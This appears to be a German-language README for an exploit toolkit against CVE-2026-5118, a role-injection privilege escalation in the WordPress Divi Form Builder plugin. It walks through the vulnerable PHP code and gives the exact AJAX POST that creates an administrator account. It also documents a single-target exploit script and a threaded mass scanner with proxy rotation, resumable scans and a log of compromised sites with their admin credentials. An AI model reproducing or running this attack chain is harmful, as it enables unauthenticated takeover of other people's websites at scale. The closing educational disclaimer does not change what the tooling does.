
Automatisierter Exploit- und Massen-Scanner für CVE-2026-5118, eine nicht authentifizierte Privilegienausweitung in WordPress Divi Form Builder <=5.1.2, die die Erstellung von Admin-Konten über Rolleninjektion ermöglicht.
Unauthenticated Privilege Escalation via Role Injection
=== Beelze ( zeroday 1diot9 ) ===
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-5118 |
| CVSS-Score | 9.8 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 – Fehlerhaftes Berechtigungsmanagement |
| Plugin | Divi Form Builder (von Divi Engine) |
| Betroffen | Alle Versionen ≤ 5.1.2 |
| Behoben | 5.1.3 (13. April 2026) |
| Veröffentlicht | 20. Mai 2026 |
| Forscher | 0xd4rk5id3 – EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
Das Divi Form Builder-Plugin für WordPress ist in allen Versionen bis einschließlich 5.1.2 anfällig für Unauthenticated Privilege Escalation (Rechteausweitung ohne Authentifizierung).
Die Funktion create_user() in FormSubmissionHandler.php akzeptiert bei der Benutzerregistrierung einen vom Benutzer gesteuerten role-Parameter aus POST-Daten, ohne diesen gegen das konfigurierte default_user_role-Setting des Formulars zu validieren. Der einzige „Schutz“ ist sanitize_text_field() – das zwar HTML-Tags und Kodierung entfernt, aber nichts unternimmt, um den Wert auf sichere Rollen einzuschränken – gefolgt von einer Existenzprüfung, die lediglich überprüft, ob die Rolle in WordPress existiert (und administrator ist immer vorhanden).
Dieser dreifache Fehlschlag ermöglicht es nicht authentifizierten Angreifern:
fb_nonce) aus dem JavaScript-Objekt de_fb_obj zu extrahierenform_type auf register zu überschreiben – jedes Formular wird so zu einem Registrierungsendpunktrole=administrator in die AJAX-Übermittlung einzufügenErgebnis: Vollständige Übernahme der Website – keine Authentifizierung, keine Benutzerinteraktion, eine POST-Anfrage.
// includes/shared/handlers/FormSubmissionHandler.php – create_user() ~Zeile 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← Entfernt nur Tags/Kodierung!
: 'subscriber'; // ← 'administrator' passiert UNVERÄNDERT
sanitize_text_field() ist für die Bereinigung von Freitext konzipiert (XSS-Prävention). Es validiert NICHT gegen eine Whitelist sicherer Rollen. Der String "administrator" enthält keine HTML-Tags, keine spezielle Kodierung – er wird vollkommen unverändert durchgelassen.
// ~Zeile 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Rückfall NUR, wenn die Rolle nicht existiert
}
Diese Prüfung fragt: „Existiert diese Rolle in WordPress?“ – und administrator existiert immer. Es wird nie die richtige Frage gestellt: „Ist diese Rolle für die öffentliche Selbstregistrierung sicher?“ Eine korrekte Prüfung würde gegen eine Whitelist wie ['subscriber', 'contributor'] validieren oder die default_user_role-Einstellung des Formulars durchsetzen.
// ~Zeile 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← Angreiferkontrollierte Rolle wird direkt zugewiesen!
Kein current_user_can('create_users')-Check. Kein current_user_can('promote_users')-Check. Keinerlei Berechtigungsprüfung. Die vom Angreifer bereitgestellte Rolle wird direkt an set_role() übergeben.
// Frontend-JS-Lokalisierung
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← GLEICHER Nonce auf ALLEN Formularen, ALLEN Seiten
// ...
]);
Der fb_nonce wird mit wp_create_nonce('security') erstellt – einem generischen Aktions-String, der auf jedem einzelnen DFB-Formular der Website gemeinsam genutzt wird. Jeder Besucher kann ihn aus dem Seitenquelltext extrahieren, indem er das JavaScript-Objekt de_fb_obj ausliest.
// AJAX-Handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← Wird durch POST-Override ausgelöst!
}
Der form_type wird aus POST-Daten gelesen, nicht aus der serverseitigen Formularkonfiguration. Ein Angreifer kann form_type=register an jede DFB-AJAX-Übermittlung senden – ein Kontaktformular, eine Angebotsanfrage, eine Newsletter-Anmeldung – und der Server führt den Registrierungs-Codepfad aus. Die ursprüngliche Funktion des Formulars ist irrelevant.
[Nicht authentifizierter Angreifer]
│
▼
GET /beliebige-seite-mit-dfb-formular/
← HTML-Quelle: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extrahiere fb_nonce aus dem JavaScript-Objekt de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← EINGEFÜGT │
│ form_type = register ← ÜBERSCHRIEBEN │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ bestanden
wp_roles()->roles['administrator'] existiert? → JA ✓ bestanden
$user->set_role('administrator') ✓ keine Berechtigungsprüfung
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Vollständiger Administratorzugang] 🔥
CVE-2026-5118.py – Einzelziel-ExploitVollständige 5-Phasen-Exploit-Kette mit automatischer Formularerkennung und Nonce-Extraktion.
python3 CVE-2026-5118.py
Target URL: https://target.com
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Timeout (seconds) [15]:
SOCKS5 proxy (blank = none):
Exploit-Phasen:
Phase 1 ▶ Erreichbarkeit (HTTPS + HTTP-Fallback)
Phase 2 ▶ Plugin-Erkennung (readme.txt-Versionsprüfung)
Phase 3 ▶ Formularerkennung und Nonce-Extraktion
├── REST-API-Seitenscan
├── Suche nach gängigen Pfaden
├── Sitemap-Crawl
└── Crawlen von Startseiten-Links
Phase 4 ▶ Rolleninjektion (Privilege Escalation)
Phase 5 ▶ Admin-Login-Überprüfung
Ausgabe (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py – MassenscannerThread-basierte Massenausnutzung mit JSONL-Protokollierung und Fortsetzungsunterstützung.
python3 CVE-2026-5118-mass.py
Target file (one URL per line): targets.txt
Username [beelze_admin]:
Password [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Timeout (seconds) [10]:
Proxy file (SOCKS5, one per line, blank = none):
Resume previous scan? (y/n) [n]:
Funktionen:
Ausgabe (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role-Einstellung des Formulars konfigurierte ist, wobei jeglicher benutzergelieferter role-Parameter aus POST-Daten ignoriert wirdBeelze ( zeroday 1diot9 ) – nur für Bildungszwecke und autorisierte Sicherheitsforschung